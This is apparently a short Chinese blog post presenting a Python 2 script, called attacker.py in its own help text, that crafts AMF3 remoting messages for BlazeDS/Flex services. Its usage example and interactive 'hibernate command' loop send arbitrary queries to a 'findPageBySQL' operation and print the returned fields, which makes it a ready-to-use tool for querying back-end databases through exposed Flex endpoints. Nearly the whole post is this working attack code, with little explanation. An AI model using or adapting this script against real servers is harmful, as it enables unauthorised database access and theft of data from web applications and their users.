2019年3月

[python] flash AMF 协议通讯脚本

#!/bin/env python
# -*- coding:utf-8 -*-

'''
  env: python2
  require: pyamf
  descript: 针对 blazds flex 的接口通讯模块
  author: delovt
  date: 2019-3-4 18:20:10
'''
import os,sys
import pyamf
import urllib2
import uuid
from pyamf import remoting
from pyamf import flex
from pyamf.flex import messaging

reload(sys)
sys.setdefaultencoding('utf-8')

def reader(d):
  dKeys = getattr(d, 'SMALL_ATTRIBUTES')
  for i in dKeys:
    print '[+] ' + dKeys[i] + ' -> ' + str(getattr(d, dKeys[i]))

def runer(v, c):
  # build data
  msg = messaging.RemotingMessage( messageId= str(uuid.uuid1()).upper(),
    clometOd = None,
    operation = v[2],
    destination = v[3],
    timeTolive = 0,
    timestamp = 0
  )
  msg.body = [c, 1, 17, flex.ArrayCollection(), 0] # 请求体, 需要手动构造
  msg.headers['DSEndpoint'] = v[4]
  msg.headers['DSId'] = str(uuid.uuid1()).upper()
  req = remoting.Request('null', body=(msg,))
  env = remoting.Envelope(amfVersion=pyamf.AMF3)
  env.bodies = [('/1', req)]
  # data = bytes[remoting.encode(env).read()]
  data = remoting.encode(env).read()
  # connect servlet
  url = v[1]
  req = urllib2.Request(url, data, headers = {'Content-Type': 'application/x-amf'})
  # parse reponse
  opener = urllib2.build_opener()
  resp = remoting.decode(opener.open(req).read())
  reader(resp.bodies[0][1].body)

def helper():
  print '[+]  helper Start'
  print 'usage: python attacker.py <address> <operation> <destination> <DSEndpoint>'
  print 'example: python attacker.py http://127.0.0.1:8080/amfcallback findPageBySQL PageDataService Null'
  print 'codeEditFrom: https://www.jianshu.com/p/0f3009021fd9'
  print '[-] helper End'

def main():
  if len(sys.argv) < 2 or sys.argv[1].lower() == '-h' or sys.argv[1].lower() == '--help':
    helper()
    exit(1)
  while True:
    command = raw_input('hibernate command: ')
    if command != 'quit' :
      runer(sys.argv, command)
    else:
      break

if __name__ == '__main__':
  main()

amf 请求包结构如下:
AMF3Proto-mask.bmp